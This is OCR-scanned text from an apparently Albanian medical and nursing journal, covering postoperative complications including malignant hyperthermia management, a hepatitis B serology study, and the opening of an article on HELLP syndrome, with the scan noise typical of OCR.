Tromboza e thellé venoze.Eshté komplikacion serioz i kirurgjisé.Té predispozuar
jané : pacientét gé kryejné kirurgji gjenerale mbi 40 vjet, pacientét obezé, pacientét
me malinjitet, pacientét gé¢ kané pasur mé paré fenomene té trombozés sé thellé
venoze ose embolizmit pulmonar, pacientét me kirurgji t€ ekstremiteteve té
poshtme, rikonstruksion té gjurit, apo kirurgji t& legenit, pacientét gjinekologjiké
(obstetriké ) mbi 40 vjet, por me faktoré riskanté si vena varikoza, trombozé
venoze té mé parshme, infeksion, malinjtet, pacientét urologjiké gé kané pasur nje
prostatektomi transureterale dhe pacientét e moshuar gé i nénshtrohen kirurgjisé
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urologjike.Qéndrimi néshtrat, dehidrimi, ulja e prodhimit kardiak shtojné riskun e
trombozés venoze. Dhimbja né pulpén e kémbés éshté simptoma e paré e ndjekur
nga enjtie e gjithe kémbés, shpesh e shogéruar nga temperaturé dhe ethe.
Intervenimet profilaktike preoperatore pérfshijné pérdorimin e antikoagulantéve
(heparina) veshjen e corapeve té gjata antiembolitike me géllim reduktimin e
risgeve té embolizimit pulmonar i cili éshté njé komplikacion kércénues.

Crregullimet e ritmit té zemrés

Bradikardia, takikardia, takikardia ventrikulare, dhe fibrilacioni ventrikular jané
crregullimet mé serioze gé kérkojné trajtim t€ menjéhershém. Kéto crregullime
lidhen me hipoksiné, hiperkapniné,acidozén, imbalancén e elektroliteve, sémundjet
koronare, infarktin e miokardit, agjentét anestetiké, hipotensioni, hemoragjia,
hipovolemia, pneumotoraksi.

Arresti kardiak: Né arrestin kardiak ka njé pushim té garkullimit, funksioni pompé
i zemrés pushon.

Incidenca: Arresti kardiak ndodh gjaté induksionit té anestezisé,gjaté operacionit
0se postoperacionit. Pacientét mé té predispozuar jané ata me moshé ekstreme, ata
gé kané gené diagnostikuar mé paré me aritmi paraoksizmale, miokarditis, toksiciteti
nga dixhitalikét. Arresti kardiak pérshpejtohet nga hipotensioni ose hipovolemia
ekstreme, obstruksioni respirator, aspirimi, efektet e medikamenteve, mbidozimi i
anestetikéve, sepsisi, anormalitetet metabolike (acidoza, toksemia, imbalanca e
elektrolitéve, traumat e sistemit nervor gendror, anafilaksia).Simptomat pérfshijné
humbjen e té rrahurave t& zemrés dhe presionin e gjakut, dilatim té pupilave,
cianosis, I18kuré e lagésht, mungesé e reflekseve, pavetedije, ndalim respirator, gjak i
errét ose mungesé e hemorragjisé né fushén kirurgjikale.

Trajtimi: Ringjallja kardipulmonare rivendos oksigjenimin né organet vitale.Né rast
fibrilacioni ventrikular nevojitet defibrilimi.Medikamentet i/v nevojiten pér té
pérmirésuar statusin kardiovaskular.

Parandalimi:Masat paraprake intraoperative pérfshijné:1-Monitorimi i EKG-sédhe
temperaturés.2-Ruajtjen adekuate té rrugéve té ajrit.3-Monitorimi i oksigjenit dhe
dioksidit te karbonit.4-Monitorimi i presionit té gjakut.5-Medikamentet.6-Pozicioni i
duhur i pacientit gjaté kirurgjise, pa pesha mbi té.7-Administrimi me sukses i
anestetikéve.

Krizat Metabolike

Hipertermia malinje (HM)éshté njé crregullim muskulor i trashéguar gé nxitet nga
agjenté anestetiké, si: halotani, enflurani, desflurani, isoflurani dhe relaksantét
muskuloré si suksinilkolina.Stresi dhe disa medikamente si simpatomimetiket
(epinefrina), teofilina, aminofilina, antikolinergjiket (atropina) dhe glukozidét
kardiaké mund té nxisin ose intensifikojné njé reaksion té tillé.Patofiziologjia éshté e
lidhur me njé gjendje hipermetabolike né gelizat e muskujve té skeletit, gé pérfshin
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alterimin e mekanizmave té funksionit t& kalciumit né nivelin gelizor. Kjo shkakton
simptomat Kklinike te hipermetabolizmit, e cila nga ana tjetér rrit rigiditetin muskulor
dhe shkakton hiperterminé dhe démtime pasuese té sistemit nervor gendror. Né njé
kohé shkalla e mortalitetit tejkaloi 80% deri né momentin e futjes sé Dantrolenit né
1979 kohé né té cilén shkalla e mortalitetit shkoi deri né 10%. Pacientét e ndjeshém
ndaj hipertermisé malinje perfshinjné ata me ¢do lloj miopatie, si: pfosis, strabismus,
hernia, dobési e muskulit ose hipertrofi, ose distrofi muskulare.\ncidenca éshté mé e
larté né fémijét se né adultét, sidomos fémijét me artrid reumatoid jané vecanérisht
té ndjeshem ndaj hipertermisé malinje.Fillimi mund té jeté i shpejté menjéheré pas
induksionit té anestezisé,ose disa oré pas anestezisé gjenerale ose dhe né periudhén
postoperatore.Spazma e muskujve té nofullés pas administrimit té suksinilkolinés
mund té sugjerojé hipertermi malinje,takikardia mé shumé se 150 é&shté shpesh
shenja mé e hershme.Mé pas stimulimi nervor simpatik ¢con né disritmi ventrikulare,
hipotension, ulje té prodhimit kardiak, oliguri dhe mé voné arrest kardiak.Rritja e
temperaturés éshté njé shenjé e vonshme qgé zhvillohet shpejt. Temperatura mund té
arrijé deri né 42 gradé né njé kohé té shkurtér dhe duhet té shénohet dhe monitorohet
gjaté Kirurgjisé. Analizat laboratorike tregojné rritje té nivelit té kaliumit né serum,
magneziumit, kreatiné fosfokinazés, dhe mioglobinés. Lirimi me tepricé i
mioglobinés si rezultat i destruksionit muskulor (rabdomiolizes) mund té shkaktojé
insuficiencé renale dhe anuri.Shenjat klinike té€ mévonshme pérfshijné
hiperkaleming, enjteje t¢ muskujve té skeletit, ose nekrozé prej hipoksisé dhe
acidozés, edemé pulmonare, pasoja neurologjike pérfshiré paraplegjiné dhe komén
prej ishiemisé sekondare né hipoksi.Trajtimi i hipertermisé malinje éshté sugjeruar
nga protokolli i ngritur nga Shogata e Hipertermisé Malinje né ShBA-és
(MHAUS).

1-Ndérprerja e anestezis€é dhe procedurés Kirurgjikale menjéheré. Dhénia e
oksigjenti 100% té paktén 10 L/min.2-Fillohet menjéheréterapia me medikamente.
Administrohet Dantrolen Sodium (Dantrium 1V) 2 deri 3 mg/kg njé bolus i
menjéhershém dhe pérséritja ¢cdo 5-10 min deri né dhénien e dozés maksimale té
10 mg /kg ose kontrollin e episodit t&¢ HM. Zakonisht pacientét pérgjigjen ndaj
medikamentit me shpejtési.Fillimi i veprimit éshté zakonisht 2-3min. Ndonjéheré
mund té nevojioten doza mé té larta se 10-20 mg/kg. Dantroleni éshté mjé
medikamnet specifik pér trajtimin e HM. Ai bllokon menjéheré akumulimin e
kalciumit brenda muskujve duke parandaluar lirimin e tij nga retikulumi
sarkoplazmatik.Nuk ka efekte né sisitemin respirator apo kardiovaskular.Secili
flakon i Dantrium intravenoz duhet té riformohet duke shtuar 60 ml ujé steril pér
injeksion (pa njé agjent bakteriostatik) dhe flakoni duhet t& tundet miré tronditur
derisa solucioni té jeté i pastér.Solucioni duhet té jeté i verdhé né
portokalli.Injeksioni me dekstroze 5%, sodium chloride 9%, ringer laktant nuk duhet
té pérdoren. Pérmbajtja e flekonit duhet t& mbrohet nga drita direkte dhe pérdoret
brenda 6 oréve rikrijimi.Duhet té ruhet né temperaturé dhome 15 -30 gradé celsius.
Dantrolene vazhdohet pasoperacionit minimumi 1 mg/kg ¢do 6 oré pér 24 -72 oré
postepisodit.Pas 48 oréve t€ para, 1mg /kg ¢do 6 oré mund té jepet né rrugé orale
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pér 24 oré. Nause,té vjellat,dhe lodhja jané raportuar dhe dokumentuar pas dhénies
sé Dantolenit pér os. Duhet té kihet parasysh se dhénia e tij pér njé kohé té gjaté
mund té cojé né hepatoksicitet. 3-Procainamide 15 mg/kg e holluar ne 500 ml sol
fiziologjik iv pér 60 min jepet pér té trajtuar disrritmité kardiake. Natribikarbonat
jepet kundér acidozés metabolike.4- Kalci klorat 2,5 mg/kg pér té trajtuar toksicitetit
kardiak shkaktuar nga hiperkalemia. 5-Manitol 0,25 g/kg i/v dhe furosemid (Lasix)
1 mg/kg i/v deri né katér doza secila.Kéto medikamente béjné t& mundur largimin e
mioglobinés prej tubulave renale dhe mbajtur rrjedhjen e rrugéve urinare.6-
Administrimi i ftohté i solucionit fiziologjik i/v dhe aplikimi i borsave me akull. Pér
té shmangur hipoterminé, té ftohtat duhet té ndérpriten kur temperatura arrin 38
gradé celsius.7- Matja dhe korrigjimi i nivelit té elektroliteve ,kaliumit, kalciumit,
magneziumit, klorurit, matja e fosfatazave alkaline, kreatinofosfokinazés, laktat
dehidrogjenazé si indikacion pér shkatérrimin muskular.

Parandalimi: Né ményré té vecanté i kushtohet réndési marrjes sé anamnezés
paraoperacionit. Pacienti pyetet rreth eksperiencés né lidhje me anesteziné gé ka
patur mé paré, incidentet e pashpjegueshme té vdekjeve té antaréve té familjes qé u
jané nénshtruar anestezisé, ose anomali t& njohura muskulare.

Profilaksia:Né pacientét e dyshuar pér HM, Dantroleni jepet paraoperacionit. Doza
e sugjeruar éshté 1 mg /kg me njé rritje ¢cdo 4- 6 oré pér os deri né njé dozé totale
prej 4 mg /kg, ndjekur nga 2,5 mg/kg i/v 30 min para induksionit té anestezisé
gjenerale, por duhet té& theksojmé se monitorimi gjaté operacionit é&shté i
detyrueshém. Indikimet pér profilaksi me Dantrolene jané: historité e méparshme
pér episode té dyshueshme pér HM, histori familjare t¢ HM, ndjeshméri e njohur e
HM.

Metodologji dhe materiale

Té dhénat jané mbledhur népérmjet studimit té kartelave dhe survejimit té
pacientéve qgé i jané nénshtruar kirurgjisé pér prostatektomi, apendektomi, dhe
herniotomi prané repartit té kirurgjisé spitali i Korgés, gjaté vitit 2012 té cilat jané
pasqyruar né tabelén 1.1 dhe grafikét. Té gjithé pacientét kishin dhéné aprovimin pér
Kirurgji. Historité rreth patologjisé ekzaminimi fizik dhe ekzminimet e tjera
radiologjike, laboratorike ishin kryer né té gjithé pacientét. Té dhénat u siguruan
nga infermieré supervizoré gé punojné prané kartotekés sé spitalit si dhe mjeké
Kirurgé.Pér realizimin e kétij artikulli éshté pérdorur njé literaturé e gjeré e huaj
infermieristike bazuar mbi prinicipe bashkékohore.
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Tabela 1.1.

Komplikacionet

Diagnoza Interventi | Grup-
kirirgjikal | mosha | Respiratore Kardiake | Metabolike | Té tjera
45-55 - - - -
vjeg
Hiperplazi | Prostatektomi Takikardi
e prostatés 56-65 - dhe - Epididimitis
vjeg bradikadi (8raste)
(2 raste)
Tromboemboli | Takikardi
Mbi pulmonare dhe - Epididimitis
65 (3raste) bradikardi (10 raste)
vjecg (3 raste)
Infeksioni i
1-14 - - - plagés.
vjeg (6 raste)
Apendiciti | Apendektomia | 15-24 - - - Peritonitis
vjeg (3 raste)
Infeksion i
25-44 - - - plagés
vjeg (13 raste)
14-35 - - - -
vjeg
Hernie Herniotomia
inguinale
36-65 - - - -
vjeg
Tromboemboli | Takikardi Infeksion i
Mbi pulmonare bradikardi - plagés
65 (lrast) (7raste) (8 raste)
vjeg
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Rezultate

Duhet theksuar se gjaté studimit te pacientét me hiperplazi té prostates mbi 65 vjet,
gé i jané nénshtruar Kirurgjisé ka njé rénie té zhvillimit té komplikacioneve
respiratore gjaté dhe pas kirurgjisé, sidomos té trombozés sé thellé venoze dhe
tromboembolizmit pulmonar si rezultat i profilaksisé me Enoxaparine Sodium
subcutan para, gjatédhe pas interventit né krahasim me vitet e kaluara e
dokumentuar né té gjitha kartelat infermierore. Nuk ka pasur asnjé rast me
hipertermi malinje.

Diskutim

Studimi mund té kryhej me njé pjesé mé té madhe pacientésh, por duhet t& marrim
parasysh faktin gé njé numér i madh i tyre i drejtohen klinikave private.

Pérfundime

Risku i komplikacioneve gjaté dhe pas kirurgjisé éshté i larté dhe mund té ¢ojé né
morbiditet, mortalitet, kohézgjatjen e géndrimit né spital, dhe rritje té kostos sé
trajtimit. Megjithaté ekziston njé protokoll i gjeré masash parandaluese dhe trajtuese
népérmijet té cilave secili anétar i kujdesit té shéndetit duhet té arrijé géllimin e tij
primar gé lidhet me pérmirésimin e cilésisé sé jetés sé pacientit.
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DIAGNOZA SEROLOGJIKE E HEPATITIT NGA VIRUSI I TIPIT B
Eda Stasa, Zhinzela Qyli

Universiteti “Fan S. Noli” Kor¢€, Fakulteti i Shkencave Humane dhe té
Natyrés

Pérmbledhje

Virusi i hepatitit B &shté njé virus me ADN pjesérisht dyfijézore (hepadnavirus). Ai
shkakton hepatit akut dhe kronik dhe éshté njé shkaktar etiologjik i karcinomés
hepatocelulare. Ky virus, ka njé periudhe té gjaté inkubacioni (45-120 dité) dhe
transmetohet me rrugé parenterale, seksuale dhe vertikale nga néna te fémija. Virusi
i hepatitit B posedon disa antigene té réndésishme pér diagnozén dhe patologjiné.
Pérbérési kryesor antigenik i tij éshté antigeni sipérfagéesor HBsAg i cili ndodhet né
cipén mbéshtjellése virale, ndérsa né brendési ndodhet antigeni core HBcAg dhe
antigeni jostrukturor HBeAg. Klinika e infektimit nga virusi i hepatitit B varion nga
rastet asimptomatike deri né njé tablo klinike t& pasur me nauze, té vjella, dobési té
pérgjithshme dhe ikter gé shfaget né 25% té pacientéve. Ky virus, mund té shkaktojé
hepatit fulminant té quajtur nekrozé hepatike masive qé éshté rrjedhojé e njé
mutacioni né materialin genetik té virusit.

Fjalé kyce: HbsAg, HbcAg, HbeAg. Hepatit viral B

Abstract

Introduction: The virus of hepatitis B is a virus with DNAtwo filamentous
hepadnavirus. It causes hepatitis acute and chronic and it is one of the main agent
that causes karcinoma hepatocelulare. This virus has a longincubation period ( 45-
120 days ) and is transmitted by the parenteral way, sexual and vertical from mother
to children. Hepatiti B virus has some important antigens for diagnosis and
pathology. Its main component antigenic is surfaceHBsAg antigen which is on
wrapping viral membrane, while inside is core antigen HBcAg and non-structural
antigen HbeAg. Clinic of infection by hepatit B virus varies from asymptomatic
cases up to a clinical picture with nausae, vomiting, weakness and jaundice wich
appears in 25 % of patients. This virus can cause fulminant hepatit called mass
nekrosis hepatit which comes from a mutation of Genetic material of virus.

Key words: Core antigen HbcAg, Hepatitis B, HbsAg, HbeAg.

Qéllimi: 1. Zbulimi i markuesve virale t¢ HBV né mostrat serike pér testim. 2.
Njohja e vlerave serologjike né diagnostikimin e infeksionit nga HBV-té.

Materiale dhe metoda: Né studim jané pérfshiré té dhénat e grumbulluara nga
serumet e analizuara gjaté periudhés 3 vjecare janar 2008- dhjetor 2010 né
Laboratorin Mikrobiologjik prané QSUT-sé. Né total jané ekzaminuar 3966. Rreth
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2384 ose 60% e té ekzaminuarve ishin meshkuj dhe 1582 ose 40% ishin femra. 3358
ose 85% ishin spitaloré dhe 608 ose 15 % ishin ambulatoré. Pércaktimi i antigenit
sipérfagésor HBsA(g éshté béré me metoden serologjike ELISA.

Rezultate dhe pérfundime: Né total pozitiviteti ishte 19% ose 740 serume.
Pozitiviteti tek meshkujt ishte 21% ose 508 serume, ndérsa tek femrat 15% ose 232
serume. Pozitiviteti tek spitaloret ishte 18. 5% ose 623 serume, ndérsa tek
ambulatoret 19% ose 117 serume. Antigeni sipérfagésor HBsAg u gjend pozitiv né
19% té serumeve té analizuara. Tek meshkujt pozitiviteti &shté mé i larté se tek
femrat. Tek ambulatorét pozitiviteti éshté mé i larté se tek spitalorét.

Hyrje

Virusi B i hepatitit éshté njé nga disa viruset e njohur gé shkakton hepatit viral. Mbi
2 miliard njeréz né mbaré botén jané infektuar nga HBV-ja dhe mbi 350 milion prej
tyre jané mbartés té infektuar kroniké apo né vazhdimeési. Mbartésit kroniké jané me
risk té larté pér komplikacione afatgjata té infeksionit nga HBV duke pérfshiré
hepatitin kronik, cirrozén hepatike dhe karcinomén hepatike. Markerét serologjiké
pérdoren zakonisht si tregues diagnostiké dhe/apo prognostiké té infeksionit akutapo
kronik nga HBV. Markeri mé i zakonshém dhe parésor i infeksionit nga HBV-ja
éshté prania e antigenit té sipérfages s€ HBV-sé, HBsAg. Diagnoza serologjike e
hepatitit B, vendoset duke u mbéshtetur tek gjetja né serum e kétyremarkuesve.
Antigjeni sipérfagésor i VHB (HBsAg) prania e tij me serum éshté tregues i
infeksionit akut apo kronik me VHB. Antigjeni "e" i VHB-sé (HBeAg), prania e tij
né serum éshté tregues i replikimit viral. Né kété fazé i sémuri éshté shumé
infektues, sepse né gjakun e tij ka njé pérgéndrim té madh té grimcave virale.
Antitrupat anti HBc jané imunoglobulinat IgM e IgG (anti HBc-IgM dhe anti HBc-
IgG). Shfagja e anti HBc-IgM né serum éshté tregues i replikimit viral e me
shérimin e té sémurit do t& zhduken. Kurse anti-HBc 1gG shfagen pak mé voné se
anti HBc-1gM e géndrojné né pérgéndrime té larta gjaté gjithé jetés. Antitrupat, anti-
HBe prania e tyre né serum tregon rénien e replikimit viral e fillimin e shérimit té
sémundjes. Antitrupat anti-HBs géndrojné né titra té larta gjaté gjithé jetés. Prania e
tyre né serumin e pacienitit tregon pér shérimin e sémundjes dhe fitimin e imunitetit.
Pércaktimi i ADN-sé e VHB-sé éshté tregues i sigurt i replikimit viral. Megjithése
bartésit mund té nxjerrin apo Iéshojne HBsAg dhe té prodhojné antikorpe ndaj tij
(anti HBs) ka té ngjaré gé ata, né jetén e tyre t€ mévonshme té jené ende né risk pér
komplikacione té rénda hepatike.
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Marker mé i zakonshém dhe parésor i infeksionit nga HBV-ja éshté prania e
antigenit té sipérfages sé HBV-s& HBsAg-&. Markerét serologjiké pérdoren
zakonisht si tregues diagnostiké dhe/apo prognostiké té infeksionit akutapo kronik
nga HBV-ja.

Pérgjithésisht antigenii HBV-sé (HBeAg) pérdoret sinjé marker dytésor pér té
treguar replikimin aktiv ttHBV-sé gé lidhet me sémundjen progresive té heparit.
Déshtimi pér té nxjerré apo sekretuar HBeAg-né duket né rritjen e riskut drejt stadit
té fundit té sémundjes sé heparit. Variantet e shtameve té HBV-s& mund té
prodhojné HBeAg-né gé nuk zbulohet né serum ose shtami mund té humbasé
aftésiné pér té prodhuar HBeAg-né edhe sikur té jetéi pranishém njé infeksion aktiv.
Pra, pérdorimi i kétij markeri pér té ndjekur apo monitoruar progresin e sémundjes
mund té jetéme vleré té kufizuar pasi sémundja mund té progresojé njéherésh tek
pacientét HBeAg pozitiv dhe te pacientét HBeAg negative me replikim viral aktiv.

Lidhur me drejtimin e terapis€ mund té béhen gjithashtu ndryshime apo dallime
midis pacientéve HBeAgpozitive dhe HBeAg negative sikurse tregojné rezultatet e
mjekimit. Diferencat e sémundjes midis pacientéve me HBeAg pozitive dhe HBeAg
negative pérfshijné nivelet mé té uléta t¢ ADN-sé té hepatitit B viral gé zbulohen
tipikisht tek pacientét me HBeAg negative. Pikérisht tek ata té infektuar me variantet
preCore (gjeni C i HBV)éshtéi ndaré né regjionin preCore dhe né regjionin Core me
dy kordone apo triplete nukleotidike mbi sekuencén e initiationit ATG. Kjo rezulton
né transkriptimin e ARN-sé pregjenomike gééshté e genésishme pér replikimin e
HBV-sé dhe té proteinave té nukleokapsides apo té ARN-sé preCore gé translatohet
né proteinén HBeAg-sé gé zbrazet apo clirohet né gjakun e pacientéve téinfektuar.
Mutantet preCore duken gjaté serokonversionit t&¢ HBeAg-sé. Ata bartin mutacionet
né regjionin preCore gé bllokon sintezén e HBeAg-sé, ndonése vazhdon prodhimi i
virioneve infeksioze.
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Kapaceti teknik dhe intelektual pér té zbuluar ADN-né e HBV-& né serum ka gené
raportuar dhe raportohet té keté vlera prognostike pér té njohur rrugézgjidhjen dhe
pérfundimin e infeksioneve akute dhe kronike nga HBV-ja. Metodologjia mund té
lejojé zbulimin e AND-sg, té HBV-sé pas klirensés séHBsAg-sé apo zbulimit té
mungesés sé markeréve serologjiké t¢ HBV-sé. Sidogofté ende nuk éshté vendosur
njé lidhje e dhéné midis markeréve serologjiké dhe niveleve té¢ AND-sé, t&¢ HBV-sé.
Megjithése efikasiteti i terapisé antivirale té pérdorur pér té trajtuar pacientét me
HBV mund té jeté vlerésuar edhe pérmes markeréve serologjike apo edhe pérmes
matjes sé funksionit enzimatik té mélgisé.

Matja mé e drejtpérdrejtédne mé e besueshme e replikimit viral mendohet té jeté
kuantifikimi i ADN-sg, t& HBV-sé né plazmén apo serumin e té sémurit. Njé ulje e
shpejté dhe e géndrueshme e niveleve t&¢ ADN-sg, té HBV-sé né pacientét gé marrin
njé trajtim me Alfa —interferon, lamivudine, entecavir, telbivudin, dhe peginterferon
alfa-2a (njihen peginterferoni alfa-2a injeksion —pegasus dhe pegiinterferoni alfa-2b
apo pegintroni; peginterferoni alfa -2b me ribavirin jepen né trajtimin e hepatitit
C)ka treguar gééshté shogéruar me njé rezultat apo pérfundim té favorshém té
mjekimit. Monitorimi i niveleve t¢ ADN-sé, téHBV-sé mund té njoftojé zhvillimin e
rezistencés ndaj lamivudinés. Pra, njétest sasior pér matjen e AND-sg, té HBV-sé
éshté njé mjet apo instrument i vliefshém gé mund té pérdoret sé bashku me té dhénat
e tjera klinike dhe laboratorike né menaxhimin e infeksionit nga HBV-ja.

Testi mé i réndésishém laboratorik pér zbulimin e infeksionit té hershém nga HBV-
ja éshté ELISA pér HBsAg-né. Antigeni i sipérfages shfaget gjaté periudhés sé
inkubimit dhe praktikisht zbulohet né shumicén e pacientéve gjaté prodromit té
sémundjes akute. Ai ulet né nivelin e moszbulimit gjaté kovaleshencés. Né
shumicén e rasteve prania e zgjatur (té paktén gjashté muaj) tregon pér gjendje
bartési, si dhe pér risk njéherésh pér hepatit kronik dhe karcinoma hepatike.
Faktikisht individét HBsAg pozitivé prodhojné antikorpe Anti HBs por kéto
antikorpe nuk zbulohen me teste diagnostike sepse ata jané té lidhura me sasi té
médha HBsAQ té pranishém né gjak, pra individét nuk jané toleranté ndaj HBsAg-sé
(e njéjta gjé ndodh edhe gjaté sémundjes akute ku prodhohen anti HBs por nuk
zbulohen).
Qéllimi

* Té zbulojé markerat viralé t¢ HBV-éné pérmbajtjen e mostrave serike pér

testim.

» Té& vleresojé praniné e profileve serologjike t¢ HBV-sé pér diagnostikimin e
infeksionit té shkaktuar prej tij.

Diskutime
Nga rezultatet e mésipérme evidentohen apo nxirren té dhéna té réndésishme.

Sé pari, vérehet se nga 3966 mostra serike té ekzaminuara, 740 (18. 66%)
rezultuan pozitivé pér praniné e HBsSAg-sé né pérmbajtjen e tyre. Konsiderata té
tilla jané té ngjashme me té dhénat e literaturés bashkékohore. Ndérkaq, ky
pozitivitet shpérndahet me 508 (68, 64%) meshkuj dhe me 232 (31. 35%) femra,
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ndérkohé gé 623 (84. 19%)jané té sémuré té shtruar né spital dhe 117 (15. 81%)
jané té sémuréambulatoré. Séfundi, pozitiviteti pér HBsAg-né né serumin e
tétestuarve i observuar si shpérndarje né vite, déshmon pér njé shtim té numrit té
rasteve HBsAQ névitin 2010 me 322 (43. 5 %) raste, ndérkohé gé njé numér mé
i vogél pér vitin 2008 me 227 (30, 68%) raste dhe me njé rénie t& kétij numri pér
vitin 2009 me 191( 25, 81%) raste.

Kjo rénie e numrit té rasteve pozitive pér HBsAg pér vitin 2009 mbetet e
diskutueshme sepse kété vit ka pasur rupture de stock.

Lidhur me HBc-IgM té dhénat tona pér pozitivitetin e saj jané modeste por né
pajtim me kampionin e vogél (vetem né 2008). Vonesa e kérkimit té markerit
HBc-IgM nga njéra ané dhe defekti i furnizimit me Kkitin diagnostik specifik
véshtiréson interpretimin e kétij studimi. E njéjta gjé vlen edhe pér HBc-1gG-né.
Por, nuk mohohet vlera e madhe diagnostike pér hepatitin nga HBV-ja.
Pozitiviteti deriné 75% i té testuarve éshté né pérputhje me té dhénat e
literaturés bashkékohore ndérsa kampioni i pérfshiré né testim ka pérmasa té
vogla por té mjaftueshme pér té€ géné té besueshme. Ndérkag zbulimi i pranisé
sé anti HBs-sé, 23% éshté i ulét dhe tregon tendencé pér kronicizim.

Monitorimi i treguesve prognostik, i cilit po njeh realitete té reja teknike té jené
té arrira edhe né laboratorin toné, si¢c éshté matja e ngarkesés virale pérmes
teknikés sé PCR-sé. Pasi u bé instalimi i késaj teknike dhe pasi u vu né zbatim
né Laboratorin e diagnozés sé infeksioneve virale t&¢ QSUT-sg, shfrytézimi né
praktiké i PCR-sé si tekniké e biologjisé dhe e virologjisé molekulare fituese e
cmimit té shekullit béri fakt ekzaminimin e 96 mostrave serike né kérkim té
matjes sé ngarkesés virale apo té pércaktimit sasior té viremisé plazmatike né
personat me hepatit kronik

Pérfundime

Pozitiviteti (18. 66%) i HBsAg-sé déshmon pér njé pérhapje té shprehur té
infeksionit nga HBV-ja né té testuarit prané QSUT.

Pérgindja e larté e HBc-IgG (75%) dhe pérgindja e ulét e anti HBc (23%)
provon ekzistencén e njé risku pér hepatite kronike.

Pozitiviteti i larté i HBV-sé, DNA (82. 3%) né serum dhe pérgéndrimi i rritur
ikopjeve t&€ DNA-sé mbi vlerén e pragut té pozitivitetit (54. 4%) jané tregues té
replikimit aktiv t&é HBV-sé né té sémurét me hepatit kronik.
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Tabelat

Nr. total i Nr. i mostraveserike Nr. i Pérgindja e

mostraveserike  HBSAg pozitive mostraveserike  rasteve

té testuara HBsAg HBsAg
negative pozitive

3966 740 3226 18.7 %

Tab. Nr. 1EkzaminimiserologjikpérHBsAg

Nr. total i rasteve Meshkuj Femra
HBsAg pozitive

740 508 (68. 65 %) 232 (31. 35 %)

Tab. Nr. 2Shpérndarja e rasteveHBsAgpozitivesipasseksit

Nr. total i personave Pacienté ambulatoré Pacienté spitaloré
HBsAg pozitive

740 117 ( 15. 81 %) 623 (84. 19 %)
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HELLP SINDROM

Msc. Gjergji Gjata Msc. Elda Panariti (Nuni)
Spitali Rajonal Korcé, Shérbimi obstetrik gjinekologjik,
Universiteti “Fan S. Noli”, Departamenti i Infermierisé

Pérmbledhje

Sindromi Hellp éshté njé komplikacion obstetrikal i preeklampsisé ose eklampsisé
gé zakonisht ndodh né fazat e vonshme té shtatzanisé dhe pérfshin: 1- Hemolizén
(H);2-Trombocitopeniné (LP); 3-Enzimat e mélgisé, té rritura (EL). Incidenca shkon
né 0, 5-0, 9% té té gjitha shtatzanive dhe 10-20% e preeklampsive té formés sé
réndé. Zakonisht Hellp Sindrom shfaget né tremujorin e treté por referohen dhe raste
pérreth javés sé 21. Shenja mé e shpeshté é&shté dhimbja epigastrike né 90% té
rasteve, lodhje, nauze dhe té vijella, gjithashtu vihet re dhimbje koke pamje e
pagarté. Metodologjia. Artikulli paraget studimin e 3 rasteve té diagnostikuara dhe
trajtuar me Hellp Sindrom. Né shérbimin e obstetriké-gjinekologjisé, spitali rajonal,
korgé pér periudhén 2007-2012. Shkaget e vérteta té Hellp Sindromit jané ende té
panjohura, por mendohet gé koagulimi éshté thelbésor gjé gé ¢on né shkatérrimin e
gelizave té kuge té gjakut dhe konsum té trombociteve, duke béré té mundur
interesimin e mélgisé, ndérsa organet e tjera mund té preken né ményré té ngjashme.
Té gjitha kéto cojné né njé koagulopati intravaskulare té diseminuar (KID) qé
shfaget me gjakrrjedhje. Diagnoztikimi i Hellp Sindrom paraget véshtirési pér shkak
té ndryshueshmérise sé simptomave ndérmjet pacientéve dhe diagnostikimi i
hershém &shté kyc né zvogélimin e morbiditetit. E réndésishme éshté té kryhet
analiza né lidhje me koagulimin, elektrolitet, enzimat e mélcisé dhe funksioni renal.

Fjalét kyc: Hemiliza, trombocitopeni, KID, preeklampsi, eklampsi, shitatzani

Abstract

HELLP syndrome is a complication of preeklampsi or eclampsia and usually occurs
in the later stages of pregnancy and includes: 1 - haemolysis (H) 2-Trombocitopeni
(LP); 3 increased liver enzymes (EL). The incidence ranges from 0.5% to 0.9% in all
pregnancies and 10% - 20% of the final preeclampsia. HELLP syndrome occurs in
the third quarter and refer cases but around week 21. The most common sign is
epigastric pain in 90% of cases, fatigue, nausea and vomiting also noted headache
blurred picture.

The article presents the study of three cases diagnosed and treated for HELLP
Sindrom in obstetrics service, in Kor¢a Regional Hospital for the period 2007-2012.
The real causes of HELLP syndrome are still unknown, but thought that it is
essential coagulation leading to the destruction of red blood cells and platelet
consumption, enabling interest liver and other organs may be affected similar. All
these lead to a disseminated intravascular coagulopathy (KID) that appears with
bleeding. The HELLP Syndrome is difficult to be diagnosed due to the variability of
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symptoms and early detection is the key to reducing morbidity. It is important to
analyze the connection with coagulation, electrolytes, liver enzymes and renal
function.

Key words: Hemolysis, thrombocytopeni, KID, preeclampsi, eclampsi, pregnancy.

SINDROMI HELLP

Eshte njé sindrom gé karakterizohet nga hemoliza, alterime té funksionit t& mélgisé
dhe ulje té numrit té trombociteve, tek graté shtatzéna. Prej kohésh éshté njohur si
njé komplikacion i preeklampsi-eklsampsisé. (Chesley, 1978; Godlin, 1982; Mc
Kay, 1972).

Godlin dhe MacKennan e quajné kété sindromé si njé keqdiagnostikim té
preeklampsisé, ndérsa autoré té tjeré e pérmendin até si njé formé té hershme té
preeklampsisé sé réndé.

Né vitin 1982, Weinstein raporton 29 raste té rénda me preeklampsi, eklampsi me
kombinime té trombocitopenisé dhe alterime té funksionit té méléisé. Ai thekson se
shenjat dhe simptomat jané krejtésisht té ndara nga preeklampsia duke theksuar
sindromin HELLP (H-pér hemolizén, EL-pér enzimat e rritura té mélgisé dhe LP pér
trombocitet e ulta.

Sibai et al, tregon njé ndryshim té réndésishém né aspektin e terminologjisé,
incidencés, shkageve, diagnostikimit dhe menaxhimit té kétij sindromi.

Incidenca e raportuar prej 2-12%, reflekton dallimet né kriteret diagnostikuese dhe
metodat e pérdorura, dallime té cilat varen nga lloji dhe cilésia e laboratorit té
pérdorur pér té diagnostikuar kété sindrom.

Déshmia pér hemolizén éshté raportuar né disa studime ku trombocitopenia varion
nga <75, 000/mm?, né <150, 000/mm?. Nuk ka njé konsensus mbi rolin e funksionit
té mélcisé dhe testeve pér té diagnostikuar sindromin HELLP. Shumé autoré pér
diagnostikimin e sindromit mbéshteten né vlerat e laktatdehidrogjenazés (LDH) dhe
bilirubinés.

ETIOLOGJIA DHE PATOGJENEZA

Patogjeneza e sindromit HELLP, ende nuk éshté shumé e qgarté. Jané gjetur disa
elemente qé mendohet té jené pérgjegjés, té cilét konsistojné né ¢rregullimin e enéve
